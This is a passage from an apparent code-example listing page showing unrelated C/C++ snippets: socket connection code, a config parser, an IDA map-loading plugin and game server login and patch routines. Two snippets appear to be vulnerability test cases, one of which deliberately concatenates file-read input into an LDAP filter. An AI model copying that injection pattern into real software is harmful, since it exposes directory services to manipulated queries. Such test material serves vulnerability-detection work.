					if (WSAAsyncSelect(m_pOwnerSocket->m_SocketData.hSocket, m_pOwnerSocket->GetHelperWindowHandle(), m_pOwnerSocket->m_SocketData.nSocketIndex+WM_SOCKETEX_NOTIFY, FD_READ | FD_WRITE | FD_OOB | FD_ACCEPT | FD_CONNECT | FD_CLOSE) )
					{
						m_pOwnerSocket->Close();
						res = FALSE;
						continue;
					}
				}
				if (m_pOwnerSocket->m_pendingCallbacks.size())
					PostMessage(m_pOwnerSocket->GetHelperWindowHandle(), WM_USER + 2, (WPARAM)m_pOwnerSocket->m_SocketData.nSocketIndex, 0);
			}

			if (m_nFamily == AF_UNSPEC)
			{
				m_pOwnerSocket->m_SocketData.nFamily = m_nFamily = res1->ai_family;
				if (!m_pOwnerSocket->Bind(m_nSocketPort, m_lpszSocketAddress))
				{
					m_pOwnerSocket->m_SocketData.nFamily = m_nFamily = AF_UNSPEC;
					Close();
					continue;
				}
			}

			if (!( res = ( SOCKET_ERROR != connect(m_pOwnerSocket->GetSocketHandle(), res1->ai_addr, res1->ai_addrlen) ) )
				&& WSAGetLastError() != WSAEWOULDBLOCK)
			{
				if (hints.ai_family == AF_UNSPEC)
				{
					m_nFamily = AF_UNSPEC;
					Close();
				}
				continue ;
			}

			m_nFamily = res1->ai_family;
			m_pOwnerSocket->m_SocketData.nFamily = res1->ai_family;
			res = TRUE;
			break;
		}

		if (res1)
			res1 = res0->ai_next;

		if (res1)
		{
			m_addrInfo = res0;
			m_nextAddr = res1;
		}
		else
			m_pOwnerSocket->p_freeaddrinfo(res0);

		if (INVALID_SOCKET == m_pOwnerSocket->GetSocketHandle())
			res = FALSE ;
	}

	if (res || WSAGetLastError() == WSAEWOULDBLOCK)
	{
		SetLayerState(connecting);
	}
	return res;
}
コード例 #17
0
ファイル: config.c プロジェクト: BackupTheBerlios/tellu-svn
int config(char *configFile) {
	int i, k;
	char *newArgument;
	char newLine[CONFIG_SPACE_SIZE * 3];

	FILE *newFile;
	TCHAR newString[CONFIG_SPACE_SIZE];

	if((newFile = fopen(configFile, "r")) != NULL) {
		k = 1;

		while(fgets(newLine, sizeof(newLine) - 1, newFile) != NULL) {
			if(newLine[0] == '\r' || newLine[0] == '\n' || newLine[0] == '#' || newLine[0] == '%' || newLine[0] == ';') {
				k++;

				continue;
			}

			for(i = 0; ; i++) {
				if(mainConfigs[i].confKeyword == NULL) {
					break;
				}

				if(_strnicmp(mainConfigs[i].confKeyword, newLine, strlen(mainConfigs[i].confKeyword)) == 0) {
					if((newArgument = configParse(newLine)) == NULL) {
						continue;
					}

					if(newArgument == (char *) -1) {
						_snprintf(newString, sizeof(newString), "Keyword %s at line %d requires an argument of type %d%c", mainConfigs[i].confKeyword, k, mainConfigs[i].confArgType, 0);

						warningMessage(ERROR_SLIGHT, newString);

						continue;
					}

					switch(mainConfigs[i].confArgType) {
						case CONFIG_TYPE_BOOLEAN:
							if((configBoolean(newArgument, &mainConfigs[i].confArgInt)) != 0) {
								_snprintf(newString, sizeof(newString), "Keyword %s at line %d requires a boolean (yes/no/1/0) argument%c", mainConfigs[i].confKeyword, k, 0);

								warningMessage(ERROR_SLIGHT, newString);

								continue;
							}

							break;
						case CONFIG_TYPE_INTEGER:
							if((configInteger(newArgument, &mainConfigs[i].confArgInt)) != 0) {
								_snprintf(newString, sizeof(newString), "Keyword %s at line %d requires a numeral (0-9) argument%c", mainConfigs[i].confKeyword, k, 0);

								warningMessage(ERROR_SLIGHT, newString);

								continue;
							}

							break;
						case CONFIG_TYPE_STRING:
							configString(newArgument, mainConfigs[i].confArgStr);

							break;
						default:
							_snprintf(newString, sizeof(newString), "Unknown argument type %d for keyword %s at line %d%c", mainConfigs[i].confArgType, mainConfigs[i].confKeyword, k, 0);

							warningMessage(ERROR_SLIGHT, newString);

							break;
					}
				}
			}

			k++;
		}

		if(fclose(newFile) == -1) {
			warningMessage(ERROR_SLIGHT, "Error occurred while trying to close file");
		}

		return(0);
	}

	return(-1);
}
コード例 #18
0
/* goodG2B() uses the GoodSource with the BadSink */
static void goodG2B()
{
    char * data;
    char * &dataRef = data;
    char dataBuffer[256] = "";
    data = dataBuffer;
    /* FIX: Use a fixed file name */
    strcat(data, "Doe, XXXXX");
    {
        char * data = dataRef;
        {
            LDAP* pLdapConnection = NULL;
            ULONG connectSuccess = 0L;
            ULONG searchSuccess = 0L;
            LDAPMessage *pMessage = NULL;
            char filter[256];
            /* POTENTIAL FLAW: data concatenated into LDAP search, which could result in LDAP Injection*/
            _snprintf(filter, 256-1, "(cn=%s)", data);
            pLdapConnection = ldap_initA("localhost", LDAP_PORT);
            if (pLdapConnection == NULL)
            {
                printLine("Initialization failed");
                exit(1);
            }
            connectSuccess = ldap_connect(pLdapConnection, NULL);
            if (connectSuccess != LDAP_SUCCESS)
            {
                printLine("Connection failed");
                exit(1);
            }
            searchSuccess = ldap_search_ext_sA(
                                pLdapConnection,
                                "base",
                                LDAP_SCOPE_SUBTREE,
                                filter,
                                NULL,
                                0,
                                NULL,
                                NULL,
                                LDAP_NO_LIMIT,
                                LDAP_NO_LIMIT,
                                &pMessage);
            if (searchSuccess != LDAP_SUCCESS)
            {
                printLine("Search failed");
                if (pMessage != NULL)
                {
                    ldap_msgfree(pMessage);
                }
                exit(1);
            }
            /* Typically you would do something with the search results, but this is a test case and we can ignore them */
            /* Free the results to avoid incidentals */
            if (pMessage != NULL)
            {
                ldap_msgfree(pMessage);
            }
            /* Close the connection */
            ldap_unbind(pLdapConnection);
        }
    }
}
コード例 #19
0
ファイル: LoadMap.cpp プロジェクト: IDA-RE-things/LoadMap
static void idaapi run(int /* arg */)
{
    static char mapFileName[_MAX_PATH] = { 0 };

    // If user press shift key, show options dialog
    if (GetAsyncKeyState(VK_SHIFT) & 0x8000)
    {
        ShowOptionsDlg();
    }

    ulong numOfSegs = (ulong) get_segm_qty();
    if (0 == numOfSegs)
    {
        warning("Not found any segments");
        return;
    }

    if ('\0' == mapFileName[0])
    {
        // First run
		get_input_file_path(mapFileName, sizeof(mapFileName));
        //strncpy(mapFileName, get_input_file_path(), sizeof(mapFileName));
        WIN32CHECK(PathRenameExtension(mapFileName, ".map"));
    }

    // Show open map file dialog
    char *fname = askfile_c(0, mapFileName, "Open MAP file");
    if (NULL == fname)
    {
        msg("LoadMap: User cancel\n");
        return;
    }

    // Open the map file
    LPSTR pMapStart = NULL;
    DWORD mapSize = INVALID_FILE_SIZE;
    MAP_OPEN_ERROR eRet = MapFileOpen(fname, pMapStart, mapSize);
    switch (eRet)
    {
        case WIN32_ERROR:
            warning("Could not open file '%s'.\nWin32 Error Code = 0x%08X",
                    fname, GetLastError());
            return;

        case FILE_EMPTY_ERROR:
            warning("File '%s' is empty, zero size", fname);
            return;

        case FILE_BINARY_ERROR:
            warning("File '%s' seem to be a binary or Unicode file", fname);
            return;

        case OPEN_NO_ERROR:
        default:
            break;
    }

    bool foundHdr = false;
    ulong validSyms = 0;
    ulong invalidSyms = 0;

    // The mark pointer to the end of memory map file
    // all below code must not read or write at and over it
    LPSTR pMapEnd = pMapStart + mapSize;

    show_wait_box("Parsing and applying symbols from the Map file '%s'", fname);

    __try
    {
        LPSTR pLine = pMapStart;
        LPSTR pEOL = pMapStart;
        while (pLine < pMapEnd)
        {
            // Skip the spaces, '\r', '\n' characters, blank lines, seek to the
            // non space character at the beginning of a non blank line
            pLine = SkipSpaces(pEOL, pMapEnd);

            // Find the EOL '\r' or '\n' characters
            pEOL = FindEOL(pLine, pMapEnd);

            size_t lineLen = (size_t) (pEOL - pLine);
            if (lineLen < g_minLineLen)
            {
                continue;
            }

            if (!foundHdr)
            {
                if ((0 == strnicmp(pLine, VC_HDR_START      , lineLen)) ||
                    (0 == strnicmp(pLine, BL_HDR_NAME_START , lineLen)) ||
                    (0 == strnicmp(pLine, BL_HDR_VALUE_START, lineLen)) ||
					(0 == strnicmp(pLine, VC_HDR_START1		, lineLen)))
                {
                    foundHdr = true;
                }
            }
            else
            {
                ulong seg = SREG_NUM;
                ulong addr = BADADDR;
                char name[MAXNAMELEN + 1];
                char fmt[8192];

                name[0] = '\0';
                fmt[0] = '\0';

                // Get segment number, address, name, by pass spaces at beginning,
                // between ':' character, between address and name
                int ret = _snscanf(pLine, min(lineLen, MAXNAMELEN + g_minLineLen),
                                   " %04X:%08X %s", &seg, &addr, name);
                if (3 != ret)
                {
                    // we have parsed to end of value/name symbols table or reached EOF
                    _snprintf(fmt, sizeof(fmt), "Parsing finished at line: '%%.%ds'.\n", lineLen);
                    ShowMsg(fmt, pLine);
                    break;
                }
                else if ((0 == seg) || (--seg >= numOfSegs) ||
                        (BADADDR == addr) || ('\0' == name[0]))
                {
					_snprintf(fmt, sizeof(fmt), "Invalid map line: %%.%ds.\n", lineLen);
                    ShowMsg(fmt, pLine);

                    invalidSyms++;
                }
                else
                {
                    // Ensure name is NULL terminated
                    name[MAXNAMELEN] = '\0';

                    // Determine the DeDe map file
                    bool bNameApply = g_options.bNameApply;
                    char *pname = name;
                    if (('<' == pname[0]) && ('-' == pname[1]))
                    {
                        // Functions indicator symbol of DeDe map
                        pname += 2;
                        bNameApply = true;
                    }
                    else if ('*' == pname[0])
                    {
                        // VCL controls indicator symbol of DeDe map
                        pname++;
                        bNameApply = false;
                    }
                    else if (('-' == pname[0]) && ('>' == pname[1]))
                    {
                        // VCL methods indicator symbol of DeDe map
                        pname += 2;
                        bNameApply = false;
                    }

                    ulong la = addr + getnseg((int) seg)->startEA;
                    flags_t f = getFlags(la);

                    if (bNameApply) // Apply symbols for name
                    {
                        //  Add name if there's no meaningful name assigned.
                        if (g_options.bReplace ||
                            (!has_name(f) || has_dummy_name(f) || has_auto_name(f)))
                        {
                            if (set_name(la, pname, SN_NOWARN))
                            {
                                ShowMsg("%04X:%08X - Change name to '%s' successed\n",
                                        seg, la, pname);
                                validSyms++;
                            }
                            else
                            {
                                ShowMsg("%04X:%08X - Change name to '%s' failed\n",
                                        seg, la, pname);
                                invalidSyms++;
                            }
                        }
                    }
                    else if (g_options.bReplace || !has_cmt(f))
                    {
                        // Apply symbols for comment
                        if (set_cmt(la, pname, false))
                        {
                            ShowMsg("%04X:%08X - Change comment to '%s' successed\n",
                                    seg, la, pname);
                            validSyms++;
                        }
                        else
                        {
                            ShowMsg("%04X:%08X - Change comment to '%s' failed\n",
                                    seg, la, pname);
                            invalidSyms++;
                        }
                    }
                }
            }
        }
    }
    __finally
    {
        MapFileClose(pMapStart);
        hide_wait_box();
    }

    if (!foundHdr)
    {
        warning("File '%s' is not a valid Map file", fname);
    }
    else
    {
        // Save file name for next askfile_c dialog
		qstrncpy(mapFileName, fname, sizeof(mapFileName));

        // Show the result
        msg("Result of loading and parsing the Map file '%s'\n"
            "   Number of Symbols applied: %d\n"
            "   Number of Invalid Symbols: %d\n\n",
            fname, validSyms, invalidSyms);
    }
}
コード例 #20
0
void bad()
{
    char * data;
    char * &dataRef = data;
    char dataBuffer[256] = "";
    data = dataBuffer;
    {
        /* Read input from a file */
        size_t dataLen = strlen(data);
        FILE * pFile;
        /* if there is room in data, attempt to read the input from a file */
        if (256-dataLen > 1)
        {
            pFile = fopen(FILENAME, "r");
            if (pFile != NULL)
            {
                /* POTENTIAL FLAW: Read data from a file */
                if (fgets(data+dataLen, (int)(256-dataLen), pFile) == NULL)
                {
                    printLine("fgets() failed");
                    /* Restore NUL terminator if fgets fails */
                    data[dataLen] = '\0';
                }
                fclose(pFile);
            }
        }
    }
    {
        char * data = dataRef;
        {
            LDAP* pLdapConnection = NULL;
            ULONG connectSuccess = 0L;
            ULONG searchSuccess = 0L;
            LDAPMessage *pMessage = NULL;
            char filter[256];
            /* POTENTIAL FLAW: data concatenated into LDAP search, which could result in LDAP Injection*/
            _snprintf(filter, 256-1, "(cn=%s)", data);
            pLdapConnection = ldap_initA("localhost", LDAP_PORT);
            if (pLdapConnection == NULL)
            {
                printLine("Initialization failed");
                exit(1);
            }
            connectSuccess = ldap_connect(pLdapConnection, NULL);
            if (connectSuccess != LDAP_SUCCESS)
            {
                printLine("Connection failed");
                exit(1);
            }
            searchSuccess = ldap_search_ext_sA(
                                pLdapConnection,
                                "base",
                                LDAP_SCOPE_SUBTREE,
                                filter,
                                NULL,
                                0,
                                NULL,
                                NULL,
                                LDAP_NO_LIMIT,
                                LDAP_NO_LIMIT,
                                &pMessage);
            if (searchSuccess != LDAP_SUCCESS)
            {
                printLine("Search failed");
                if (pMessage != NULL)
                {
                    ldap_msgfree(pMessage);
                }
                exit(1);
            }
            /* Typically you would do something with the search results, but this is a test case and we can ignore them */
            /* Free the results to avoid incidentals */
            if (pMessage != NULL)
            {
                ldap_msgfree(pMessage);
            }
            /* Close the connection */
            ldap_unbind(pLdapConnection);
        }
    }
}
コード例 #21
0
ファイル: UpdateExeHead.cpp プロジェクト: jjiezheng/pap_full
//读取自身数据(call by work thead)
bool _readPatchContents(void)
{
	char szExeSelf[MAX_PATH] = {0};
	::GetModuleFileName(g_hInst, szExeSelf, MAX_PATH);
	FILE* fp = fopen(szExeSelf, "rb");
	if(!fp) return false;

	do
	{
		if(0 != fseek(fp, g_nExeSize, SEEK_SET)) break;

		int nLen=0;

		//read version from
		if(1 != fread(&nLen, sizeof(int), 1, fp) || nLen>=32 ) break;
		if(nLen != fread(g_szVersionFrom, 1, nLen, fp)) break;
		normalizeVersion(g_szVersionFrom, g_szVersionFrom_nor, 64);

		//read version to
		if(1 != fread(&nLen, sizeof(int), 1, fp) || nLen>=32 ) break;
		if(nLen != fread(g_szVersionTo, 1, nLen, fp)) break;
		normalizeVersion(g_szVersionTo, g_szVersionTo_nor, 64);

		//create temp patch file
		char szTempPath[MAX_PATH];
		GetTempPath(MAX_PATH, szTempPath);
		PathAppend(szTempPath, "TLBBPatch");
		CreateDirectory(szTempPath, 0);
		_snprintf(g_szPatchZip, MAX_PATH, "%s\\tlbb-%s-%s.xzip", 
			szTempPath, g_szVersionFrom, g_szVersionTo);

		FILE* fpWrite = fopen(g_szPatchZip, "wb");
		if(!fpWrite) break;

		char szTempBuf[1024] = {0};
		do
		{
			size_t nReadSize = fread(szTempBuf, 1, 1024, fp);
			if(nReadSize==0) break;

			fwrite(szTempBuf, 1, nReadSize, fpWrite);
			if(feof(fp)) break;
		}while(true);

		fclose(fpWrite);
		fclose(fp);

		//读取其中的PatchInfo文件内容
		char szPatchInfoFile[MAX_PATH];
		_snprintf(szPatchInfoFile, MAX_PATH, "%stlbb_patchinfo_%s_%s.txt", 
			szTempPath, g_szVersionFrom, g_szVersionTo);
		AXP::IUpdater* pUpdater = AXP::createUpdater();
		if(ExtractFileFromZip(pUpdater, g_szPatchZip, "Update.txt", szPatchInfoFile))
		{
			FILE* fpPatch = fopen(szPatchInfoFile, "rb");
			if(fpPatch)
			{
				fseek(fpPatch, 0, SEEK_END);
				int nSize = ftell(fpPatch);
				fseek(fpPatch, 0, SEEK_SET);

				char* pTxtBuf = new char[nSize+1];
				memset(pTxtBuf, 0, nSize+1);
				fread(pTxtBuf, 1, nSize, fpPatch);
				fclose(fpPatch); fpPatch=0;

				//send to ui
				::SendDlgItemMessage(g_hMainWnd, IDC_EDIT_PATCHINFO, WM_SETTEXT, 
					0, (LPARAM)pTxtBuf);

				delete[] pTxtBuf; pTxtBuf=0;
				::DeleteFile(szPatchInfoFile);
			}
		}
		AXP::destroyUpdater(pUpdater); pUpdater=0;
		return true;
	}while(0);

	//error!
	fclose(fp);
	return false;
}
コード例 #22
0
// 响应LOG消息
void OnLogMessage(CMessage* pMsg)
{
	DWORD curTime = timeGetTime();
	char pszLogingInfo[512]="";
	switch(pMsg->GetType())
	{
	case MSG_L2W_LOG_QUEST_PLAYERBASELIST://loginserver请求一个账号下的玩家基本信息列表
		{
			char szCdkey[ACCOUNT_SIZE];
			pMsg->GetStr(szCdkey,ACCOUNT_SIZE);
			//去掉字符串右边的空格
			TrimRight(szCdkey);

#ifdef _RUNSTACKINFO1_
			CMessage::AsyWriteFile(GetGame()->GetStatckFileName(),pszLogingInfo);
#endif

			// 判断DBS是否准备好了
			if(	!GetGame()->GetInitVarLoadFlag() 
				|| !GetGame()->GetInitRegionLoadFlag()
				|| !GetGame()->GetInitFactionLoadFlag()
				|| !GetGame()->GetInitUnionLoadFlag()
				|| !GetGame()->GetDbIsReady()
				|| !GetGame()->GetInitPersonalHouseLoadFlag()
				|| ( GetInst( Business::CBusinessManager ).IsEnable() &&
				!GetInst( Business::CBusinessManager ).IsDBLoaded() ) )
			{
				AddLogText("玩家[%s]登录时DBS未全部准备完成!",szCdkey);
				CMessage pMsga(MSG_W2L_LOG_ANSWER_PLAYERBASELIST);
				// 添加验证代码
				pMsga.Add((long)0xFFFFFFFF);
				pMsga.Add((BYTE)2);// flag
				pMsga.Add((szCdkey));// cdkey
				pMsga.Add((short)0);// flag
				pMsga.SendToSocket(GetGame()->GetLSSocketID());
				return;
			}

			// 判断GS是否准备好了
			map<DWORD, CGame::tagGameServer>::iterator gsItr = GetGame()->GetGameServerList()->begin();
			for(; gsItr != GetGame()->GetGameServerList()->end(); gsItr++)
			{
				if(!gsItr->second.bConnected)
				{
					CMessage pMsga(MSG_W2L_LOG_ANSWER_PLAYERBASELIST);
					// 添加验证代码
					pMsga.Add((long)0xFFFFFFFF);
					pMsga.Add((BYTE)2);// flag
					pMsga.Add((szCdkey));// cdkey
					pMsga.Add((short)0);// flag
					pMsga.SendToSocket(GetGame()->GetLSSocketID());
					return;
				}
			}
			
			Account* acc = GetGame()->GetEntityManager()->FindAccount(szCdkey);
			// 现在LoginPlayer对象缓冲区查找
			if(acc)
			{
				acc->ClearAllLoginPlayer();
				acc->SetName(szCdkey);
				GetGame()->GetEntityManager()->CreateLoadAccountSession(acc);
			}
			else // 未找到缓冲区中的对象
			{
				// 创建session
				if(szCdkey[0] != '\0')
				{
					acc = MP_NEW Account;
					if(acc)
					{
						CGUID accGuid;
						CGUID::CreateGUID(accGuid);
						acc->SetGUID(accGuid);
						acc->SetName(szCdkey);
					}
					GetGame()->GetEntityManager()->CreateLoadAccountSession(acc);
					MP_DELETE(acc);
				}
			}
		}
		break;

	case MSG_L2W_LOG_QUEST_PLAYERDATA://loginserver请求玩家的详细信息
		{
			// 取得验证码
			long lTestSignCode = pMsg->GetLong();

			char szCdkey[ACCOUNT_SIZE];
			CGUID guid;
			pMsg->GetGUID(guid);//获取PLAYERID
			pMsg->GetStr(szCdkey,ACCOUNT_SIZE);//获取CDKEY

			// 检查验证码
			Account* tLoginInfo = GetGame()->GetEntityManager()->FindAccount(szCdkey);
			if(!tLoginInfo)
			{
				char szGUID[128];
				guid.tostring(szGUID);
				_snprintf(pszLogingInfo,512,"MSG_L2W_LOG_QUEST_PLAYERDATA! Account[%s] Is Null!", szGUID, szCdkey);
				PutStringToFile("Login_WS_Info",pszLogingInfo);
				CMessage msg(MSG_W2L_LOG_ANSWER_PLAYERDATA);
				msg.Add((long)0xFFFFFFFF);
				msg.Add((char)LOGIN_QUEST_PLAYERDATA_FAILED);
				msg.Add(szCdkey);
				msg.SendToSocket(GetGame()->GetLSSocketID());
				return;
			}		
			
			if(tLoginInfo->GetSignCode() != lTestSignCode)
			{
				char szGUID[128];
				guid.tostring(szGUID);
				_snprintf(pszLogingInfo,512,"MSG_W2L_LOG_ANSWER_PLAYERDATA 玩家ID[%s],Cdkey[%s] 验证码错误!", szGUID, szCdkey);
				PutStringToFile("Login_WS_Info",pszLogingInfo);
				
				// 现在CLoginPlayer中找,如果没有对象或者状态为OFFLINE表示非法登录
				tLoginInfo->SetPlayerState(PLAYER_STATE_VOID);
				CMessage msg(MSG_W2L_LOG_ANSWER_PLAYERDATA);
				long tmpSignCode = 0;
				GetGame()->GenerateSignCodeByTime(tmpSignCode);
				tLoginInfo->SetSignCode(tmpSignCode);
				msg.Add((long)tLoginInfo->GetSignCode());
				msg.Add((char)LOGIN_QUEST_PLAYERDATA_SIGNCODE_ERROR);
				msg.Add(szCdkey);
				msg.SendToSocket(GetGame()->GetLSSocketID());
				return;
			}	
			// 现在CLoginPlayer中找,如果没有对象或者状态为OFFLINE表示非法登录
			CEntityGroup* lPlayer = (CEntityGroup*)tLoginInfo->FindLoginPlayer(guid);
			// 找到CDBLoginPlayer对象
			if( lPlayer && (tLoginInfo->GetPlayerState() == PLAYER_STATE_LOADED_BASE_DATA) )
			{	
				if(GetGame()->GetEntityManager()->ComputeLoginPlayerDelTime(lPlayer) != -1)
				{
					char szGUID[128];
					guid.tostring(szGUID);
					_snprintf(pszLogingInfo,512,CStringReading::LoadString(IDS_WS_LOGMESSAGE, STR_WS_LOGMESSAGE_QEUSTPROPERTYCHARDELED), szCdkey);
					PutStringToFile("Login_WS_Info",pszLogingInfo);

					CMessage msg(MSG_W2L_LOG_ANSWER_PLAYERDATA);	
					msg.Add((long)-1);
					msg.Add((char)LOGIN_QUEST_PLAYERDATA_FAILED);
					msg.Add(szCdkey);
					msg.SendToSocket(GetGame()->GetLSSocketID());

					tLoginInfo->SetPlayerState(PLAYER_STATE_VOID);
					return;
				}
				// 需要到数据库读取
				GetGame()->GetEntityManager()->CreateLoadPlayerDataSession(szCdkey, guid);
				GetGame()->GetEntityManager()->CreateInitLoadMailSession(guid);
			}
			else
			{
				CMessage msg(MSG_W2L_LOG_ANSWER_PLAYERDATA);
				msg.Add((long)-1);
				msg.Add((char)LOGIN_QUEST_PLAYERDATA_FAILED);
				msg.Add(szCdkey);
				msg.SendToSocket(GetGame()->GetLSSocketID());

				tLoginInfo->SetPlayerState(PLAYER_STATE_VOID);
			}
		}
		break;

	case MSG_S2W_LOG_QUEST_PLAYERDATA://gameserver请求某个玩家的详细属性
		{
			long lTestSignCode = pMsg->GetLong();

			CGUID guid;
			pMsg->GetGUID(guid);
			long lSocketIDC2S = pMsg->GetLong();

			char szCdkey[128];
			pMsg->GetStr(szCdkey, sizeof(szCdkey));
			LONG lIP = pMsg->GetLong();
			
			// 检查验证码
			Account* tLoginInfo = GetGame()->GetEntityManager()->FindAccount(szCdkey);
			if(!tLoginInfo)
			{
				CPlayer *pPlayer = GetGame()->GetMapPlayer(guid);
				if(pPlayer)
				{
					GetGame()->OnPlayerQuit(pPlayer, CMessage::GetGSIDBySocket(pPlayer->GetGsSocket()), 0L);
				}
				_snprintf(pszLogingInfo,512, "MSG_S2W_LOG_QUEST_PLAYERDATA! Account[%s] Is Null!", szCdkey);
				PutStringToFile("Login_WS_Info",pszLogingInfo);
				CMessage msg(MSG_W2S_LOG_ANSWER_PLAYERDATA);
				msg.Add((long)0xFFFFFFFF);
				msg.Add((long)-1);
				msg.Add(guid);
				msg.Add(lSocketIDC2S);
				msg.SendToSocket(pMsg->GetSocketID());   //send to gameserver
				return;
			}	
			
			CEntityGroup* lPlayer = (CEntityGroup*)tLoginInfo->FindLoginPlayer(guid);
			if(!lPlayer)
			{
				CPlayer *pPlayer = GetGame()->GetMapPlayer(guid);
				if(pPlayer)
				{
					GetGame()->OnPlayerQuit(pPlayer, CMessage::GetGSIDBySocket(pPlayer->GetGsSocket()), 0L);
				}
				tLoginInfo->SetPlayerState(PLAYER_STATE_VOID);
				CMessage msg(MSG_W2S_LOG_ANSWER_PLAYERDATA);
				msg.Add((long)0xFFFFFFFF);
				msg.Add((long)-1);
				msg.Add(guid);
				msg.Add(lSocketIDC2S);
				msg.SendToSocket(pMsg->GetSocketID());   //send to gameserver
				return;
			}

			if(tLoginInfo->GetSignCode() != lTestSignCode)
			{
				char szGUID[128];
				guid.tostring(szGUID);
				_snprintf(pszLogingInfo,512, "MSG_S2W_LOG_QUEST_PLAYERDATA 玩家ID[%s],Cdkey[%s] 验证码错误!", szGUID, lPlayer->GetStringAttr(string("Account")));
				PutStringToFile("Login_WS_Info",pszLogingInfo);
				CMessage msg(MSG_W2S_LOG_ANSWER_PLAYERDATA);
				msg.Add(lTestSignCode);
				msg.Add((long)-3);
				msg.Add(guid);
				msg.Add(lSocketIDC2S);
				msg.SendToSocket(pMsg->GetSocketID());   //send to gameserver
				return;
			}
			
			if( tLoginInfo->GetPlayerState() == PLAYER_STATE_LOADED_CHAR_DATA// 玩家已登录服务器并读取详细数据
				|| tLoginInfo->GetPlayerState() == PLAYER_STATE_CHANGING_SERVER
				|| tLoginInfo->GetPlayerState() == PLAYER_STATE_ENTERING_GAME )//正在切换服务器
			{
				CPlayer *pPlayer = GetGame()->GetMapPlayer(guid);
				if(pPlayer)
				{
					long lPlayerState = tLoginInfo->GetPlayerState();
					if(GetGame()->OnPlayerEnter(pPlayer, tLoginInfo, lTestSignCode, lIP, pMsg->GetGSID(), lSocketIDC2S, pMsg->GetSocketID()))
					{
						CMessage msg(MSG_W2S_LOG_ANSWER_PLAYERDATA);
						msg.Add(lTestSignCode);
						msg.Add(1L);//添加标记
						msg.Add(guid);
						msg.Add(lSocketIDC2S);
						DBWriteSet setWriteDB;
						msg.GetDBWriteSet(setWriteDB);
						pPlayer->CodeToDataBlock(setWriteDB);
						msg.SendToSocket(pMsg->GetSocketID());   //send to gameserver

						GetGame()->OnPlayerEnterLateCode(pPlayer, tLoginInfo);
						tLoginInfo->SetPlayerState(PLAYER_STATE_ENTERED_GAME);	
						tLoginInfo->SetLoginTimeoutValue(-1);
					}

					if(lPlayerState == PLAYER_STATE_CHANGING_SERVER)
					{	
						//! SM监视的玩家的处理
						if(pPlayer->GetExID() == CSMClient::GetSM()->GetWatchedGuid())
						{
							//发送到该玩家所在的GS
							CMessage msgLogout(MSG_W2S_OTHER_WATCH);
							msgLogout.Add((DWORD)FALSE);
							msgLogout.Add(pPlayer->GetName());
							msgLogout.SendToSocket(CSMClient::GetSM()->GetWatchedGsSocket());

							CSMClient::GetSM()->SetWatchedPlayer(pPlayer->GetExID(), pPlayer->GetName(), pMsg->GetSocketID());

							CMessage msgLogin(MSG_W2S_OTHER_WATCH);
							msgLogin.Add((DWORD)TRUE);
							msgLogin.Add(pPlayer->GetName());
							msgLogin.SendToSocket(pMsg->GetSocketID());
						}

						pPlayer->SetGsSocket(pMsg->GetSocketID());
						LinkmanSystem::GetInstance().OnPlayerChangeGs(pPlayer);
					}
				}
			}
			else
			{
				CPlayer *pPlayer = GetGame()->GetMapPlayer(guid);
				if(pPlayer)
				{
					CMessage msg(MSG_W2S_OTHER_KICKPLAYER);
					msg.Add((BYTE)AT_ONCE_KICK);
					msg.Add(pPlayer->GetExID());
					msg.SendToSocket(pPlayer->GetGsSocket());
				}
				tLoginInfo->SetPlayerState(PLAYER_STATE_BACKTOLOGIN);
				CMessage msg(MSG_W2S_LOG_ANSWER_PLAYERDATA);
				msg.Add((long)0xFFFFFFFF);
				msg.Add((long)-1);
				msg.Add(guid);
				msg.Add(lSocketIDC2S);
				msg.SendToSocket(pMsg->GetSocketID());   //send to gameserver
			}
		}
		break;

	//gameserver通知worldserver一个玩家已退出游戏, 转发DBS存盘消息
	case MSG_S2W_LOG_PLAYERQUIT:
		{
			CGUID PlayerGuid;
			pMsg->GetGUID(PlayerGuid);
			long lFlag = pMsg->GetLong();
			DWORD dwServerKey[SERVER_KEY_DWORD_SIZE];
			for (LONG i = 0; i < SERVER_KEY_DWORD_SIZE; ++i)
			{
				dwServerKey[i] = pMsg->GetDWord();
			}

			char szGUID[128]="";
			PlayerGuid.tostring(szGUID);

			switch(lFlag)
			{
			case 1: // 正常退出
				{
					CPlayer* pPlayer = GetGame()->GetMapPlayer(PlayerGuid);
					if(NULL == pPlayer)
					{
						pPlayer = GetGame()->NewRawPlayer(ePlayerQuitMsg);
						pPlayer->SetExID(PlayerGuid);
						time_t curTime;
						time(&curTime);
						pPlayer->SetLastExitGameTime((DWORD)curTime);
						// 更新WS上该玩家数据
						DBReadSet setReadDB;
						pMsg->GetDBReadSet(setReadDB);
						pPlayer->DecodeFromDataBlock(setReadDB);
						if(pPlayer)
						{
							if(GetGame()->GetDbIsReady())
							{
								CWorldServerSession pSession(5000);
								// 设置当前账号状态
								Account* pAcc = NULL;
								CEntityGroup* tDBLoginPlayer = NULL;
								if(pPlayer->GetAccount())
									pAcc = GetGame()->GetEntityManager()->FindAccount(pPlayer->GetAccount());
								if(pAcc)
								{
									if(pAcc->GetPlayerState() != PLAYER_STATE_VOID)
										pAcc->SetPlayerState(PLAYER_STATE_BACKTOLOGIN);
									pAcc->SetCurGamedPlayerGuid(NULL_GUID);
									tDBLoginPlayer = pAcc->FindLoginPlayer(pPlayer->GetExID());
									pSession.NakeSendSaveLoginPlayerDataMsg(pPlayer, tDBLoginPlayer);
								}
								else
								{
									tDBLoginPlayer = (CEntityGroup*)GetGame()->GetEntityManager()->NewBaseEntity(string("[loginplayer]"), pPlayer->GetExID());
									pSession.NakeSendSaveLoginPlayerDataMsg(pPlayer, tDBLoginPlayer);
									GetGame()->GetEntityManager()->DelBaseEntity((CBaseEntity*)tDBLoginPlayer);
								}

								CEntityGroup* tDBPlayer = (CEntityGroup*)GetGame()->GetEntityManager()->NewBaseEntity(string("[player]"), pPlayer->GetExID());
								pSession.NakeSendSavePlayerDataMsg(SAVE_DETAIL_ALL, pPlayer, tDBPlayer, true);
								GetGame()->GetEntityManager()->DelBaseEntity((CBaseEntity*)tDBPlayer);
								GetGame()->DelRawPlayer(pPlayer);
							}
							else
								GetGame()->PushSavePlayer(pPlayer);
						}
						return;
					}
					else
					{
						// 更新WS上该玩家数据
						DBReadSet setReadDB;
						pMsg->GetDBReadSet(setReadDB);
						pPlayer->DecodeFromDataBlock(setReadDB);
						pPlayer->SetPlayerLogin(false);
						pPlayer->SetFirstLogin(false);
						time_t curTime;
						time(&curTime);
						pPlayer->SetLastExitGameTime((DWORD)curTime);
						if(GetGame()->GetDbIsReady())
						{
							const char* szCdkey = pPlayer->GetAccount();
							Account* pAcc = NULL;
							if(szCdkey)
							{
